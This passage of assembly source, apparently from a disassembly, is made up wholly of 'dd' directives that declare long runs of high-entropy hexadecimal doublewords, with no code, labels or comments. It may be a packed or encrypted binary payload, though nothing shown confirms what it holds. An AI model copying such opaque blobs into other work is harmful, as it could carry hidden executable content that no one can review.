		dd 743AE247h, 78A40009h, 405BC083h, 597AF3h, 558AC203h
		dd 74B81820h, 28754Ch, 641C9C08h, 15D8B97h, 0F851A87Ch
		dd 0FC2494E7h, 0E0175B46h, 0C0000179h, 0BA5C1347h, 32DD3A0Ah
		dd 88730D83h, 8A80ED33h, 8DFE2F44h, 340571Ch, 282D51Fh
		dd 0E0FD8345h, 0EEF05D1h, 0BD08778Bh, 68D5200Bh, 0D0978Eh
		dd 0FD9E5E4Ch, 0F977C4D9h, 96EC1600h, 0BE41FC55h, 0A0B01ACh
		dd 0D883061Ah, 0C087617Dh, 5200148Dh, 2D974489h, 0CB3D6Ch
		dd 696A2188h, 0F1FA1612h, 1F4AC800h, 3A7FF95Bh,	97150089h
		dd 748F2E70h, 3006860h,	0ED754DF0h, 4A9142h, 0FD2F1AF9h
		dd 627D7E9Bh, 420358h, 46204788h, 89B617h, 8551D687h, 18E00BA1h
		dd 5425BA01h, 0F3137565h, 0A5E947EDh, 1117060h,	0A2920D42h
		dd 0E8AB54B9h, 15FCF141h, 1CC020FCh, 887A1D94h,	84F40F4Fh
		dd 2FCF2BF5h, 0BD857642h, 0F642AA80h, 8A3E957Ah, 0BB3C3Eh
		dd 0D321A2DEh, 0F67D3DF7h, 0EF540077h, 9DAF8AFAh, 2976C24Ah
		dd 671C1100h, 0A5BA582Ch, 68500762h, 37D7E344h,	132250BBh
		dd 890020FDh, 31C8F09Fh, 7730E453h, 9117B28h, 5623F4B7h
		dd 0B2622A8Fh, 0D0E01EF8h, 4C76FCC8h, 1628C700h, 875F8902h
		dd 5B791DA9h, 0D28A40F4h, 3F71A108h, 0F120AC00h, 510C3730h
		dd 89660013h, 82F0EBC1h, 49980901h, 7F59E012h, 0B39DE003h
		dd 3E90F8CFh, 239A0318h, 2879AF8Bh, 104593C0h, 0D127E00Eh
		dd 4203800Eh, 33F7024h,	254FF066h, 138896D5h, 1C004522h
		dd 270520A8h, 0FF1455h,	0D55A56A4h, 0D0A3ABB6h,	0D7E48B00h
		dd 0DA6B78E6h, 625D5C39h, 0EDCD600h, 0D0033C50h, 83C2EC3Bh
		dd 9055FE78h, 7C408825h, 0F2EE0044h, 10C36003h,	4100D5E8h
		dd 7B78F6EAh, 77FB0220h, 0F8E90033h, 7D9A5FCh, 6EC01609h
		dd 71E8F1E0h, 23E0E23h,	0F826112Fh, 0B900EE21h,	60751735h
		dd 5CCEEB8h, 9E80E56h, 4D9880D7h, 0EB00A67Ah, 0F0752283h
		dd 0C3312Bh, 3BD3A0D0h,	327736F2h, 0E7B82000h, 875C48Fh
		dd 0E30E00EFh, 122373D1h, 53005079h, 3C4F22AEh,	2A90D4h
		dd 2941A991h, 0D15110A5h, 4A384700h, 5C2B590Dh,	9511000Ah
		dd 2ABEE845h, 0C000715h, 4C78346h, 7053AF1h, 820F1A6Dh
		dd 707A4051h, 0BC3C6FD7h, 5200791Ch, 0EF143065h, 0E4D0D40h
		dd 0E3DB3110h, 0D0F71E02h, 85D275h, 0D8FA18F2h,	5408B324h
		dd 1E1718E1h, 40CBFEDBh, 0EAE6E297h, 5F001EA4h,	72F8D4B5h
		dd 0C4597Fh, 0C026FAB2h, 0E108B8BBh, 48743B00h,	0C6DE3780h
		dd 85CA5803h, 7AA74C72h, 2BCD0379h, 10EB1ABBh, 6A0683F5h
		dd 0D73529B0h, 5CA5E200h, 14F47970h, 2462F6EEh,	0B59428h
		dd 97D103B9h, 4000806Fh, 0FA4AEBC7h, 1AC05Dh, 77C33BD9h
		dd 0F23F9220h, 0ECF3CF00h, 0F7901773h, 2BD3011Dh, 105D65D0h
		dd 8BBD20B4h, 3A61EB4Ch, 201E00C2h, 521572C3h, 537A3E48h
		dd 2157F807h, 0EF64F0E2h, 0A000EEEh, 0B075C985h, 390561Eh
		dd 0D8DBB5F3h, 0A788DECBh, 8E12225Dh, 0B1F4210h, 9184F740h
		dd 80EA82h, 0FF88325h, 48202CB8h, 0F0950200h, 0E6433C9h
		dd 50A75C3Eh, 0D600394Ch, 407E0CE9h, 114CFF02h,	80F0756h
		dd 91F6482Eh, 3737566h,	0E888BA8Ch, 0F3E8DFA3h,	44C136AFh
		dd 27D49A6Fh, 460BFCh, 56AB2C8Dh, 0B6E9434Ah, 23028301h
		dd 80C3692Dh, 1932C280h, 0BC2042C7h, 0E19D2C01h, 294A8D4Fh
		dd 208057DAh, 94A958F4h, 0B006DC3Ah, 2E5C34E9h,	8776032Fh
		dd 714A0CAh, 21C7ACB8h,	0F048BA76h, 0A3A51E5Ch,	172061C0h
		dd 0FF64845Ah, 5E85F8h,	0BBB3274Ah, 2E4BEC59h, 0C4102307h
		dd 9A102B74h, 344975h, 143A7E39h, 27C3950Fh, 9421AF00h
		dd 22F19DCAh
		dd 93371F5Bh, 0BC6380BFh, 4F52740Fh, 1EA23907h,	8880103Dh
		dd 16971Ah, 0C27043B4h,	0E9BBE837h, 125A7100h, 0E8FEF50h
		dd 0D868001Ch, 0B3EA42D3h, 0A44CB421h, 0B12002Ch, 702EDD1h
		dd 0E2B90083h, 58694A6Ch, 0C5005F28h, 5D898F5Ch, 7CF9531Fh
		dd 79A000A8h, 168E4212h, 4000738Dh, 0E86D28EBh,	30E18h
		dd 468A109Ch, 6492074Fh, 0C7215400h, 896FD2FFh,	269000ACh
		dd 2481F505h, 7F00EA80h, 0F7C2AF82h, 0FAEFC9F8h, 5EFF0FC8h
		dd 0A43E0ABh, 47B00270h, 9005821h, 6AF8E2E9h, 1616851Fh
		dd 1553C08h, 0F2064369h, 0A5EEE012h, 0C9032707h, 0C00687Dh
		dd 0B0F3EC80h, 6750022h, 12F3AF8h, 0F0085D7h, 31222F4h
		dd 5CC3FD3Bh, 391C4A1Dh, 24CE4043h, 2DD8E83Dh, 3D12EA26h
		dd 47AF4907h, 0F1AE0260h, 0C8040054h, 22289121h, 3A00442Fh
		dd 30488A58h, 0EA1B8Bh,	3607A133h, 7D162CF1h, 7BEA03FAh
		dd 0B215200h, 88F0C464h, 5E4789Dh, 0B1CF71B8h, 8E49C097h
		dd 20009DBh, 8078BEFCh,	424412h, 0FE79B7E4h, 387450DAh
		dd 1353126h, 9992803Bh,	0C2D4717Eh, 24DD005Bh, 0EBAE3BA0h
		dd 41002CC4h, 823CB988h, 5C89CC29h, 63000A65h, 0F3E7B0FAh
		dd 680035A4h, 0A2AEB5DCh, 0D15ED4h, 8C38600Bh, 56C3E850h
		dd 8600C1E8h, 13B9E089h, 8B5B80h, 0FBC28110h, 0A104D614h
		dd 3BDBDF38h, 774900D2h, 0E035FFEEh, 40655C4Bh,	45A4AF00h
		dd 0E989619Ah, 5A046800h, 0AB505D28h, 87920758h, 872449A6h
		dd 86B25134h, 3C71F02Bh, 7B184D07h, 0C11078A4h,	1D1CCC66h
		dd 143EF8h, 4ED70889h, 83006C64h, 2F22098h, 112FC53h, 1C2693F4h
		dd 0F4E7AA85h, 73013B1Fh, 8819826Dh, 0C6C81413h, 0C8AB00F7h
		dd 584A4363h, 0B01F68EEh, 0CC808732h, 6238788Dh, 0E346074Bh
		dd 0CFAB1875h, 4E405861h, 69C9C8CBh, 3E6A5F00h,	2437C48h
		dd 18271E99h, 82007C55h, 6132A98h, 4000D7FFh, 8CC3FE11h
		dd 0AD0343h, 0F8A83D16h, 2105472Bh, 7EA65400h, 0E90DE790h
		dd 5CC4002Ch, 5219BCDAh, 4A00C0EFh, 3684CAFh, 24A4A0h
		dd 0C2E8D649h, 28B40743h, 0DD12B501h, 45B85061h, 0E9641E0h
		dd 8AC2379Ah, 0D305A6A1h, 7048FDCAh, 0F0324C3h,	4AC894F7h
		dd 8810DB7Fh, 0F0FD5F9Fh, 49D00F65h, 0A9230814h, 1C0408Ah
		dd 0F076034Eh, 93382B00h, 0B513E67Dh, 1FCD7C82h, 9F3D81F8h
		dd 1C80FA2Ch, 7A6E883h,	24E279FAh, 32756600h, 4F84D74Eh
		dd 0FFD50097h, 0B4EA3CC4h, 45003417h, 52442168h, 313E065Bh
		dd 4A7854C1h, 0FD2CC3Ah, 0A69C8500h, 0DB9A52A7h, 0FCE200D9h
		dd 4BA14634h, 2600EB54h, 0C32BA24h, 0EECC0850h,	0F1B207DCh
		dd 9464594Fh, 60098010h, 23A8FCBh, 0A1F800A8h, 68672029h
		dd 4FC62C28h, 0A9AA01ECh, 0F089D7CCh, 0CF00440Ah, 0B7DC16CEh
		dd 8A0E34h, 9A5C217Bh, 74D017D3h, 8206A101h, 0C087E56Ch
		dd 0D8C7D8h, 52B1D1ECh,	0E9C34005h, 5300257Ch, 4B22ABC2h
		dd 17E7524h, 5A32894Eh,	0E8D0E419h, 297F27A3h, 6AB2F600h
		dd 0A6CA5EA7h, 0F4AA0004h, 0BBB06DAFh, 0FA004B79h, 0DC4F34FDh
		dd 0FB577D5h, 1DC0CC57h, 41C26CEFh, 5FC04DC2h, 83009872h
		dd 62C6B0CAh, 3319AFh, 0E8C7042Ah, 0D40D5AB8h, 8074FF3Dh
		dd 5710DA60h, 0F883B903h, 68D00D8h, 8614FD95h, 3500BBD2h
		dd 311D892Bh, 2541B9h, 745106A3h, 4E525B03h, 0B293D200h
		dd 1A8F73E8h, 0D75313DDh, 699C00BFh, 0CD65C26Dh, 0F4853B00h
		dd 9149C48Dh, 30E860h, 739EB292h, 786E7DCBh, 0FAE87000h
		dd 9718B059h, 0F47B1EC1h, 83BD872Fh, 4840F18Dh,	0E4ED600Dh
		dd 0A35C1403h, 0B988A916h, 56309363h, 0D6970012h, 106A6132h
		dd 607C7DB9h, 86901C00h, 89B2EC5h, 0DF81014Ah, 89A1919Eh
		dd 0CC7AE0D3h, 220A5360h, 11C3E7h, 31642F0h, 41EC1215h
		dd 0C76A2300h, 0B4DA468Ch, 17C00019h, 744A423Ah, 800A80Bh
		dd 3E4C754Bh, 3D9B73h, 5D4E8CADh, 0C519EC6Eh, 24145A00h
		dd 0A694C125h, 83E002h,	0DC97FC6Dh, 51702CC3h, 69AF000h
		dd 0DE813EF4h, 1DE90002h, 29508E25h, 6F00754Fh,	94526796h
		dd 3809BD69h, 0A400EA2Fh, 0D87C0782h, 8039E9C4h, 74B0097Dh
		dd 4D560021h, 92DB91h, 32EC8F8h, 1150C329h, 5F67440Fh
		dd 5D012005h, 3DD5C7h, 260DDAE6h, 824998F5h, 8774A01h
		dd 0D4637550h, 0C8D01871h, 1906002Bh, 0E7BCEAC6h, 55006F4Bh
		dd 53705B86h, 51F06Bh, 0ABC85E75h, 0D8E5A9B8h, 8500D177h
		dd 4CF2DCEAh, 897458h, 0FC66EBD4h, 5D719052h, 85AC8000h
		dd 6A2EC922h, 4BEE1C55h, 101E7ED5h, 2BAEC051h, 3C0FDF0h
		dd 689F300h, 4C418CAFh,	42670075h, 3399CB1Fh, 0C438C2EFh
		dd 3114804Ah, 5E044669h, 4E581E6Ch, 907D8025h, 0B4FE2F0Bh
		dd 1A45DA00h, 4293C9CDh, 56290098h, 7C58C399h, 2E00905Ah
		dd 7B05F569h, 0E4246EBh, 27754D6Fh, 0D5B00017h,	0A14A858Dh
		dd 17EBF801h, 9A92FEB3h, 77A3D9D8h, 0AB4B0367h,	94327866h
		dd 0EED5C490h, 0E8194200h, 0C9C7933Ch, 75480FCEh, 0F8E0C6ACh
		dd 94D12E7Dh, 2DE18100h, 0AC13B27h, 0CA033D02h,	89080700h
		dd 1E907519h, 0C2D37D00h, 20449DBEh, 95C11D05h,	8BD0CEA3h
		dd 6109C380h, 0CC00C481h, 0F7F0167Fh, 3AA9D40Ch, 0DCA5D006h
		dd 0E41480D7h, 392EE091h, 0E6802466h, 0DFB94B39h, 1F005B82h
		dd 45C63842h, 0C4F964h,	83028485h, 60D78A89h, 0FE508200h
		dd 3C70228Bh, 0E754009Dh, 0F0EACE64h, 530075DBh, 0CC88FF17h
		dd 7E38E9E2h, 5E070C5Ah, 0B6A28304h, 0DE171303h, 0F178FF10h
		dd 2660660Bh, 0B0F00Ch,	25FA453Bh, 5CF00D74h, 406C21Fh
		dd 21A9DAC0h, 168BDFh, 50176655h, 19458940h, 0B70FF200h
		dd 33310308h, 0E94300CCh, 3A3B0A60h, 741E3546h,	36000E67h
		dd 261F0954h, 0A03F0095h, 4F665001h, 0B008102h,	0A6F2B752h
		dd 3032FA53h, 755E0D45h, 0A9076241h, 2AD8A2B9h,	64178ED0h
		dd 1F20047h, 4EEC8238h,	270134F3h, 5DC04A8Fh, 1BCD2E6Bh
		dd 1D99DCh, 0EDA5FA29h,	0FBBB6001h, 2481660Bh, 1980FF7Dh
		dd 258A2976h, 0A00074F6h, 530DE1FFh, 6731579Ch,	50F248D9h
		dd 45B398Eh, 1CF4E83Bh,	6A80803Fh, 4E268D0Ah, 4F740008h
		dd 0ED8C03E7h, 7D00E91Eh, 3C51AEE0h, 0F1250F6h,	23AB4056h
		dd 9F53D20h, 0FC0101EAh, 22FEC9B3h, 0BE88565h, 3AFF450h
		dd 7FF64269h, 20E70E32h, 3C65BE58h, 0E7215317h,	0DD121FFFh
		dd 45CF0011h, 13BE0E62h, 0B0D47100h, 8C9D4792h,	3CA4070Ch
		dd 5090A303h, 83D5ECBDh, 0AC68501h, 52C77853h, 0F854ECh
		dd 50908603h, 4D07E924h, 83376400h, 8A84AD2Ah, 91480543h
		dd 0C09B124Ah, 30413201h, 0A8FEA973h, 42BAB800h, 15730ADCh
		dd 0C93D0045h, 0DA4B5A1Ch, 57004D82h, 3C47E194h, 0CFDC21h
		dd 44D88871h, 0EE39FEC7h, 1AE04A30h, 0C55E9h, 9348949Bh
		dd 0B681D291h, 75393Eh,	0AA51F527h, 4F42EDh, 0E31224A6h
		dd 0F687477Ch, 10939504h, 7C8014BFh, 740A25Ah, 0E802F49Dh
		dd 0F5687791h, 0F856C0DBh, 0D31C25FEh, 28DF582Ah, 89F20380h
		dd 2CE4542h, 5C261CC0h,	405D217Eh, 183CDC18h, 10352350h
		dd 5F00C212h, 0A18FC32h, 60C48554h, 0D031C4D4h,	873C7E1Bh
		dd 4DAF8190h, 0EE41058h, 121760E4h, 0BD90ABCh, 0B68F0882h
		dd 3740EBA0h, 523FD655h, 344380A5h, 0FC570DDBh,	867F00A8h
		dd 104512B5h
		dd 0CC03FA91h, 0CA73B817h, 6BE000E2h, 1182DE4Ah, 55001F62h
		dd 0A48A3E19h, 13399Fh,	0B2EBFB54h, 9CB8C26Ch, 81D40938h
		dd 2978064Fh, 58619E11h, 0F3AFC8h, 0F7DC2074h, 4CFDE002h
		dd 54112300h, 83D24222h, 0D44800C1h, 0C925A7F2h, 0E2021975h
		dd 74A47F72h, 8EC7E0FBh, 71F70EB4h, 85E02CF0h, 0E387831Ch
		dd 500002F2h, 0FA16E98Ah, 3F930BD1h, 851F8DC3h,	4B14032h
		dd 0A83A1029h, 0A27D3Bh, 631277Eh, 3C432Bh, 530C63A1h
		dd 5D93CA24h, 0E01F1FE4h, 0FE3BF8h, 0B2830F28h,	308D8Bh
		dd 0E81E4053h, 6B3C1219h, 1876B3F6h, 4F07F400h,	8A05C283h
		dd 5F3203F5h, 0FFFA9629h, 8625DFB0h, 6A0033FAh,	0F1450B0h
		dd 189F87h, 6F22832Dh, 5940EFF7h, 0BC895407h, 0FAB04975h
		dd 0D1C680h, 83740567h,	724FBA68h, 0F021D605h, 0F780753Bh
		dd 488063h, 74182D7Bh, 0C69F3F3Ch, 8A424B00h, 0D241652Ah
		dd 478100EFh, 17C5625h,	6800625Bh, 12F03918h, 1DBDDA1Ch
		dd 0C07FC9A0h, 564767B6h, 6A4CFE15h, 340015Bh, 9EC75281h
		dd 772F9CCCh, 0BE053E86h, 44CA5900h, 8475F8A7h,	0FC1C400Bh
		dd 0DF3A0953h, 142B080h, 743CC23Bh, 226C000Ah, 0F4CF286Eh
		dd 4DE9009Fh, 254013A9h, 743AE448h, 0F74A829Dh,	60553899h
		dd 0EB75949h, 611DE1ABh, 51889A38h, 790B6603h, 0C88FC743h
		dd 714A610h, 3758E1A5h,	0E4069159h, 8EBD4092h, 4D786599h
		dd 0EA058DECh, 0B8E0A02Fh, 0F08B67C3h, 1B49B7Dh, 5D3EEBC2h
		dd 21E6AD71h, 0CB9A60CBh, 0DBC04D00h, 7C2FBADCh, 63760022h
		dd 5D50EA53h, 691FC973h, 5B1FFC96h, 97B89880h, 1F86D71h
		dd 679D18C2h, 0E0E22D24h, 7C7F1CD7h, 0ADD45C04h, 4980CDD8h
		dd 74F45969h, 0A5270379h, 8867DD25h, 12D865ABh,	5513B2ECh
		dd 20B8D0E5h, 1797EA00h, 0F8A53D23h, 15286728h,	0CCB3DF01h
		dd 484666C4h, 2F55DCh, 99C76806h, 0AB6E1597h, 54B34B33h
		dd 89DDD8CBh, 0A36800CFh, 0DA90E805h, 0B001E2Dh, 71D3A009h
		dd 78F25274h, 12FEB4h, 0E15AE659h, 708EC6Bh, 0C71C6300h
		dd 0BF0244F6h, 0C57284h, 0E28CB895h, 573FC9E4h,	13B07E00h
		dd 1541FF4Dh, 7B3C0040h, 273B9591h, 7800CB69h, 7EFDDA92h
		dd 90C916h, 0D302D088h,	49F3D69Dh, 18000574h, 955B1C36h
		dd 24588496h, 28FFF01h,	4E1E2B2Eh, 0C1574740h, 2894200h
		dd 598CF986h, 3FFCFAh, 78C89F0Ah, 9A4D1025h, 0FD45140h
		dd 53B05297h, 4009EB60h, 3500DE2Ah, 8CEEF992h, 1F5888FDh
		dd 43A63C24h, 2149B11h,	0D15298D0h, 8034F03Bh, 0B948A2FFh
		dd 0FFC097Bh, 0E946DADCh, 4D000D3h, 0D840FD2h, 39EE0200h
		dd 28ECC336h, 768390F6h, 0A350008Fh, 1466D4E2h,	3A00D845h
		dd 0DB138D16h, 39A53EBh, 0BBD3FBACh, 7BE0B603h,	3C00E340h
		dd 0AB866711h, 0E27D049h, 0CF467107h, 801DE800h, 4D7F0326h
		dd 59C11700h, 62478CD5h, 3CD91DB6h, 58CE45D2h, 6F2A8066h
		dd 103BBF86h, 233EAC45h, 4B074703h, 0B4C7E825h,	8230014h
		dd 0A9A1F9CFh, 70F50212h, 2B2C1CBAh, 881D3706h,	1BAC2040h
		dd 0E3D01h, 265A366Bh, 0BF4D50EDh, 0A1CD1C00h, 0A094C3C9h
		dd 453055Dh, 0E1D79C4Ch, 333E818h, 0A4140800h, 0C415BB86h
		dd 582BF01Dh, 5003835Dh, 78AD0364h, 0DEB014EBh,	0F1071EA8h
		dd 1832825Eh, 0C04B050h, 4C9F05D3h, 80DE7E75h, 83E9D5BEh
		dd 3A1D7B77h, 308F03C9h, 9D14020h, 14266Ah, 48A0AC52h
		dd 2C82B718h, 663DFB98h, 8A98009Dh, 0C321C954h,	2B8E2699h
		dd 71780158h, 0C4453561h, 0AD001238h, 14EB7F33h, 0B2C4396h
		dd 2F847D18h, 90DDC980h, 324C826h, 3F17E3FBh, 0A1575A00h
		dd 50CFFD2h, 83CD3B24h,	87D30023h, 0F210D455h, 127D600h
		dd 0B018C0F1h, 24C4070Eh, 302814BDh, 40CB439h, 0B376871Dh
		dd 0C884B900h, 17E902h,	0A2DD47E8h, 7E82F0BCh, 0B143A300h
		dd 0F37D08E2h, 0FA3D0364h, 1EF2FF4Fh, 387FEDF8h, 81430400h
		dd 0BFB31853h, 0BA0250A7h, 1EE2003Ch, 93843042h, 0D05C20F4h
		dd 40DE0052h, 2C34E4A1h, 0BD8500F8h, 5938C843h,	7A000BFCh
		dd 0C9535F84h, 2E8822h,	0B8C10104h, 4E603F10h, 3437BF1Fh
		dd 0C7E50A03h, 6575C8FCh, 537D00FFh, 28521BC1h,	90011D45h
		dd 74F685A5h, 55200F5Fh, 8B391ED1h, 0E5803AEEh,	0FDC44BAFh
		dd 0F202A6FBh, 3E642C25h, 0E018425Ch, 68548Ch, 96F809A4h
		dd 75FF9240h, 18492201h, 8E9BF12Fh, 4320C121h, 0C6B055h
		dd 0F4C5E987h, 422B610Ah, 0E8408200h, 9A57A34Dh, 517D0332h
		dd 0D444C960h, 0F77E88B0h, 3F509600h, 225BA38h,	0A786007Bh
		dd 6C8331C1h, 0F000CD71h, 3624EB62h, 53FE04h, 0F7E88AFBh
		dd 4B1E433Ah, 0A078756Fh, 8CE2FF03h, 11D507FBh,	0E0DE9421h
		dd 7EF0E599h, 84233200h, 31D016A9h, 96544C9Eh, 4A210075h
		dd 20622464h, 97EA433Ch, 18850400h, 0B2557329h,	486A02F3h
		dd 2BF0F449h, 35C5CBE0h, 90A93700h, 93075DD3h, 2AE10010h
		dd 5FEB5530h, 0BD008018h, 2FD73B3Eh, 0E30D72h, 730E1F3Dh
		dd 2ACAC106h, 81FEBECh,	87C3F83Ah, 0E8E6E375h, 5E9F8Eh
		dd 0DC102DC0h, 0F61CE881h, 16442200h, 0BC88EFC3h, 7B92004Fh
		dd 84FE2D2Ah, 0E60F5053h, 0C04BAC4Dh, 29A1E0E8h, 89853F42h
		dd 9CF58C81h, 0ECA83EF4h, 0DDEADAC7h, 1CBC530Eh, 0EE4B609Bh
		dd 0EE4692Ch, 5427D2A5h, 89051360h, 12006BA4h, 3C9FFB5Bh
		dd 1107053h, 88E22A11h,	0D9182134h, 4C0DD851h, 87493800h
		dd 50A28C91h, 907515h, 8041FAD2h, 406AF633h, 30FFE21Dh
		dd 902D7580h, 0F66070Bh, 5A4D3881h, 78832400h, 7400E03Ch
		dd 82801E4Bh, 768F303h,	5615FC99h, 8108A023h, 4500503Eh
		dd 27414C6h, 38F6B572h,	3CF069FCh, 24006AF0h, 0EB4EBB28h
		dd 0FE744A5Dh, 1A83121Ch, 5F1F0240h, 90136574h,	72D9008Dh
		dd 841464DBh, 0EB730C62h, 7839F602h, 6031B849h,	5021F8FCh
		dd 79E7C53Fh, 34BA3E46h, 91005FD8h, 525AB774h, 0D5002367h
		dd 8E037F86h, 5C16EB3Ch, 0DA00CB77h, 0C8D0D73h,	0D103DD33h
		dd 7B84CF21h, 9C963B04h, 0E490E58Bh, 0C4C5700h,	0BE006C5Bh
		dd 4EC426A3h, 265EA10h,	0D08FABBCh, 0AA406982h,	900F4916h
		dd 770A120h, 6B77880Ah,	0C689AC90h, 31FC020Eh, 0CACF49C9h
		dd 0B2C09740h, 0C87030FCh, 19E98800h, 0B6F28AF1h, 66182708h
		dd 784BA077h, 89351209h, 440E0C34h, 0DA1C4275h,	9B803E80h
		dd 0D2F75BD3h, 25D100E4h, 57AD089h, 0B928C8ECh,	4B00C4B7h
		dd 72D54442h, 6B0EBh, 2ECBE1F3h, 16867799h, 0B4C30330h
		dd 5F547Dh, 50B9B3A7h, 33135CEAh, 0AF530100h, 58AE9E35h
		dd 28680FA0h, 5C60B55Fh, 50895294h, 59B18500h, 8A0BD123h
		dd 0D8800002h, 0A126758h, 42F05F2Eh, 0F0754905h, 0B7ECA1B0h
		dd 92BDC00h, 0F35D5AF9h, 79A55401h, 0E5957458h,	29FD7280h
		dd 5BC85614h, 0D7FCD200h, 9857701Ah, 78402E4Ch,	6040729h
		dd 0F44AF0A3h, 0BF00FE41h, 1D17BD82h, 0E6E3E80Bh, 2585002Dh
		dd 0C65A4F78h, 733F61B2h, 1B770019h, 0AE933B3Ah, 591A2675h
		dd 0BA8100DDh, 3021C2Fh, 86EFD81Dh, 54971100h, 3C3969Bh
		dd 8A0A9BCh, 0D1D848EBh, 2A383988h, 16E6F91Bh, 52432D00h
		dd 0E923BCC7h, 20B8F2h,	18583BBDh, 2F73820Fh, 4F93B200h
		dd 22C43DAAh, 591004F0h, 8394E22Dh, 51B360E9h, 0D5B80CB0h
		dd 0B9013100h, 0D75C2042h
		dd 0B871E645h, 13F270B5h, 173EFE08h, 272F0039h,	0BAF7E07Eh
		dd 893055FEh, 80093AF4h, 0B72009F1h, 0C58302F9h, 0FFE8B204h
		dd 0CD9E567Ch, 6A513800h, 9A9C73h, 95880813h, 977CB85Ah
		dd 0C5BBF400h, 1561EA0Ah, 0F1100003h, 4912510Dh, 0A4581D0Eh
		dd 802C3F8Ah, 5E077562h, 0F8CA28h, 48EFE842h, 0A0E0FF96h
		dd 65E4C800h, 0DFBCBA95h, 7C60000Bh, 44AE545Fh,	0AD7BE093h
		dd 6972000h, 1A2643C6h,	4EB0001h, 7893DD0Dh, 540022CCh
		dd 2C085011h, 1E6D799Fh, 4057F12Dh, 730989F0h, 4600C630h
		dd 0F34E8DD6h, 0DE8CADh, 258B5967h, 0CBEFB91h, 5021C607h
		dd 28F0B256h, 0FEADB5DDh, 76D0FB59h, 30D11E20h,	0D5C5876Bh
		dd 751C5081h, 1EC339CFh, 80B1D62Bh, 0FD9B7Eh, 10E87349h
		dd 1EBB92D4h, 6328100h,	8E004E4h, 0D81F00DCh, 0A8F355D3h
		dd 0C4003121h, 0D6BDAEFBh, 9820A9Ah, 5FFE65CBh,	4F1A180h
		dd 5802EA81h, 0B3542F78h, 2ADDE0C4h, 0F5C20216h, 5F2664A2h
		dd 8A9360E0h, 831E4712h, 18446700h, 2E6689F7h, 30FC27Fh
		dd 0A4504824h, 0C9F858E0h, 6205D00h, 75894EF0h,	0F64A05BCh
		dd 0C0762CB4h, 0C7B3466Dh, 9D0F5000h, 1F2F2D82h, 5A901E55h
		dd 0EA484097h, 0CE223746h, 750058F4h, 196577EEh, 514B011h
		dd 3B398285h, 0B0AF8718h, 45807534h, 1AC5EC00h,	0EBE0176h
		dd 0CA020061h, 0D9A4AF06h, 0FE730D13h, 0C7958600h, 0AD775304h
		dd 5F8B00AEh, 0FB7D80C2h, 0CDEE88F0h, 2F008D7Bh, 0C715C663h
		dd 0B86F110Dh, 0E4101201h, 0BCFA0282h, 7E609D2Ah, 0DA0333EAh
		dd 7468C075h, 0C03FB331h, 35817A9h, 3E7995CEh, 1CE07567h
		dd 0F35EE26Fh, 0DC00F5A8h, 5114F669h, 4800B7DFh, 268DD83Bh
		dd 7A011A1h, 0AF07BA12h, 0D4F17174h, 7D85E454h,	5C38591Eh
		dd 0CAF23F00h, 1E74032Dh, 8562CCD6h, 0C09118AAh, 645A0A94h
		dd 3EC510Bh, 454500B5h,	1E05BAD4h, 5077D2Eh, 0FEAA81C4h
		dd 0C0FD2FC2h, 0E3AE87h, 0CAB541Ch, 6238FE95h, 0A032D32Eh
		dd 0FF22B400h, 0EE7384h, 0B0109C72h, 4BE7E968h,	8D2B60FBh
		dd 91DD9500h, 8C2E63E1h, 931313F0h, 420F003Fh, 0A6B1EB70h
		dd 0E7772200h, 0C75F4086h, 2C835C90h, 0C049F21Fh, 6A138C23h
		dd 0B500F4EBh, 7385DB51h, 16BA0221h, 0CAB4F2h, 53222A75h
		dd 0D800720Dh, 52C38A1Ah, 72865E01h, 0A76900E9h, 80D7B021h
		dd 334CCD38h, 401100B1h, 742E120Ah, 94D80066h, 0E0F42201h
		dd 1700FFFAh, 0C01D7525h, 0F467FE50h, 837713h, 0B2C9BF02h
		dd 0B152535Ah, 8AB32100h, 80C1B75h, 64560797h, 0E0D3220Fh
		dd 9E060DC9h, 5CE22B00h, 982D14E5h, 743300E9h, 4F9F6828h
		dd 5EF6FB42h, 0AA195507h, 3FAF18CBh, 463264C1h,	29EC4B35h
		dd 0F17B00ECh, 8BA1A490h, 82039F1Ah, 2717677Dh,	7F319177h
		dd 2E7142F8h, 0A07BEh, 66A01D8Bh, 79003064h, 0F6035FF8h
		dd 7AA1C6B8h, 5C97009Ch, 0D82E53A3h, 4D0B5BD0h,	0A94210h
		dd 4A445A6Ch, 9BBA1DCDh, 0CBA600C3h, 0FAE6C47Fh, 2FFB9E03h
		dd 0E01A57FCh, 293865h,	0D8DB3BA7h, 345D36E3h, 6C12A5EEh
		dd 0BBF49Bh, 6A0FE00Eh,	0EBEC9D01h, 1A0A9900h, 0ABC48688h
		dd 6753A29h, 0A1BD9000h, 0CAA73D68h, 0A8155D01h, 0B2BBFB92h
		dd 0EAD7C0h, 994AD02Dh,	0A436A010h, 763E8800h, 7D540AFDh
		dd 385F00BAh, 0B805D5E7h, 0EFA058CCh, 1CE2158Ch, 2CDF8900h
		dd 0B50ED494h, 0B0930383h, 0F0B86D5Ah, 2B89EFB0h, 59F46A00h
		dd 0E20E53F8h, 0EC480022h, 63C5035h, 0CE0FA63Dh, 0A0A11328h
		dd 0A03EBC96h, 0FCA4001Ch, 60C40647h, 0F24C3468h, 7890326h
		dd 0C0BBFD85h, 0BC5C58h, 0C275F803h, 0D35BC068h, 0DF29BF00h
		dd 669CDC88h, 7CCF842h,	6C4617B6h, 0A034B021h, 64394C9Eh
		dd 0EC62003Ch, 0D5F8101Fh, 27973A4Eh, 0F0F47AFFh, 48EE0Dh
		dd 0EF38DB79h, 0E552EE19h, 8F02333Dh, 0E1644414h, 4CE36837h
		dd 13AEDCCh, 54203D61h,	0F8430C7Fh, 8FA34B1h, 0C422B900h
		dd 0B32BAB2Dh, 0BB580012h, 0D6154E25h, 1D7F943Bh, 49792AC0h
		dd 72656B3Ah, 5E3C2466h, 36B401F3h, 302CD94Eh, 19074246h
		dd 82EB9A90h, 2A230360h, 584507B6h, 0B301B7AAh,	1EE83724h
		dd 62126A99h, 0B90136A7h, 4B03A045h, 4E52D0h, 7CF04C9Ah
		dd 9ED4475h, 0A954F513h, 419ED900h, 1CCA56DCh, 0C01C4950h
		dd 745F6547h, 0FCF161EDh, 7A037B64h, 20C37371h,	0BF69D852h
		dd 78450091h, 66DDF663h, 4CFCA0D3h, 73007CFCh, 4518F99Dh
		dd 0F0106D53h, 31880024h, 0C9028B62h, 3B00082Dh, 0DDD6F8E1h
		dd 0AD8D79h, 28FCD489h,	9C3A7D72h, 572EEA00h, 86CA3E62h
		dd 0C9113EF4h, 0EFE20683h, 26B05C78h, 5812753Dh, 9E008415h
		dd 0C74A8B28h, 11E21E3Ah, 0E8C000A5h, 0C4EAEF27h, 0D22E4F00h
